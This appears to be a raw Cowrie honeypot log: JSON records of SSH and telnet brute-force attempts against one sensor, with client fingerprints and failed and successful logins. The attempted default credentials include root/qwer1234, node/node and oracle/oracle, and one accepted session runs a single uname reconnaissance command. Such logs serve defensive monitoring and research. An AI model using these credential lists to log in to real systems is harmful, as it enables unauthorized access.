{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43442,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a8a81b18b79","protocol":"ssh","message":"New connection: 45.153.34.112:43442 (10.17.0.5:22) [session: 0a8a81b18b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:53.493400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:53.498516Z","src_ip":"45.153.34.112","session":"0a8a81b18b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:53.582246Z","src_ip":"45.153.34.112","session":"0a8a81b18b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:53.830187Z","src_ip":"45.153.34.112","session":"0a8a81b18b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:54.919136Z","src_ip":"45.153.34.112","session":"0a8a81b18b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43450,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dc4761feca4","protocol":"ssh","message":"New connection: 45.153.34.112:43450 (10.17.0.5:22) [session: 2dc4761feca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:57.436807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:57.442824Z","src_ip":"45.153.34.112","session":"2dc4761feca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:57.533809Z","src_ip":"45.153.34.112","session":"2dc4761feca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:57.780921Z","src_ip":"45.153.34.112","session":"2dc4761feca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":48850,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc425c941fd2","protocol":"ssh","message":"New connection: 43.153.112.253:48850 (10.17.0.5:22) [session: cc425c941fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:58.271050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:58.277033Z","src_ip":"43.153.112.253","session":"cc425c941fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:58.346494Z","src_ip":"43.153.112.253","session":"cc425c941fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eric","message":"login attempt [root/eric] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:58.654231Z","src_ip":"43.153.112.253","session":"cc425c941fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:58.865275Z","src_ip":"45.153.34.112","session":"2dc4761feca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:59.726579Z","src_ip":"43.153.112.253","session":"cc425c941fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.46475601196289,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:00.305828Z","src_ip":"192.119.13.58","session":"9a0adb73f250","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42452,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef1e328fd17f","protocol":"ssh","message":"New connection: 45.153.34.112:42452 (10.17.0.5:22) [session: ef1e328fd17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:01.107484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:01.113424Z","src_ip":"45.153.34.112","session":"ef1e328fd17f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:01.202140Z","src_ip":"45.153.34.112","session":"ef1e328fd17f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:01.458878Z","src_ip":"45.153.34.112","session":"ef1e328fd17f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:02.546160Z","src_ip":"45.153.34.112","session":"ef1e328fd17f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.75638794898987,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:03.258702Z","src_ip":"192.119.13.58","session":"93981e655f80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42464,"dst_ip":"10.17.0.5","dst_port":22,"session":"6efc34d2b504","protocol":"ssh","message":"New connection: 45.153.34.112:42464 (10.17.0.5:22) [session: 6efc34d2b504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:05.018797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:05.025240Z","src_ip":"45.153.34.112","session":"6efc34d2b504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:05.108792Z","src_ip":"45.153.34.112","session":"6efc34d2b504","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:05.364101Z","src_ip":"45.153.34.112","session":"6efc34d2b504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39354,"dst_ip":"10.17.0.5","dst_port":23,"session":"f34011de562e","protocol":"telnet","message":"New connection: 192.119.13.58:39354 (10.17.0.5:23) [session: f34011de562e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:06.448731Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:06.453962Z","src_ip":"45.153.34.112","session":"6efc34d2b504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42094,"dst_ip":"10.17.0.5","dst_port":23,"session":"c10f1affdf5d","protocol":"telnet","message":"New connection: 192.119.13.58:42094 (10.17.0.5:23) [session: c10f1affdf5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:07.064716Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38106,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9c775eed01a","protocol":"telnet","message":"New connection: 192.119.13.58:38106 (10.17.0.5:23) [session: e9c775eed01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:07.187833Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41792,"dst_ip":"10.17.0.5","dst_port":23,"session":"66e4a0ead79b","protocol":"telnet","message":"New connection: 192.119.13.58:41792 (10.17.0.5:23) [session: 66e4a0ead79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:08.019740Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47290,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0d8837a0502","protocol":"telnet","message":"New connection: 192.119.13.58:47290 (10.17.0.5:23) [session: a0d8837a0502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:08.292494Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42472,"dst_ip":"10.17.0.5","dst_port":22,"session":"ced66d4204fb","protocol":"ssh","message":"New connection: 45.153.34.112:42472 (10.17.0.5:22) [session: ced66d4204fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:08.520669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:08.525182Z","src_ip":"45.153.34.112","session":"ced66d4204fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:08.607276Z","src_ip":"45.153.34.112","session":"ced66d4204fb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:08.857012Z","src_ip":"45.153.34.112","session":"ced66d4204fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":37834,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f635de108b8","protocol":"ssh","message":"New connection: 45.66.52.41:37834 (10.17.0.5:22) [session: 2f635de108b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:08.915058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:08.924045Z","src_ip":"45.66.52.41","session":"2f635de108b8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:09.080193Z","src_ip":"45.153.34.112","session":"ced66d4204fb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:09.083855Z","src_ip":"45.153.34.112","session":"ced66d4204fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:09.147838Z","src_ip":"45.66.52.41","session":"2f635de108b8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:09.367090Z","src_ip":"45.153.34.112","session":"ced66d4204fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:09.374981Z","src_ip":"45.153.34.112","session":"ced66d4204fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eric","message":"login attempt [root/eric] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:10.108641Z","src_ip":"45.66.52.41","session":"2f635de108b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.01279640197754,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:10.387106Z","src_ip":"192.119.13.58","session":"7d0771562d88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.907251834869385,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:10.643258Z","src_ip":"192.119.13.58","session":"427d0b042da7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:11.292862Z","src_ip":"45.66.52.41","session":"2f635de108b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42158,"dst_ip":"10.17.0.5","dst_port":22,"session":"36206c4dcc66","protocol":"ssh","message":"New connection: 45.153.34.112:42158 (10.17.0.5:22) [session: 36206c4dcc66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:12.354933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:12.361845Z","src_ip":"45.153.34.112","session":"36206c4dcc66","protocol":"ssh"}
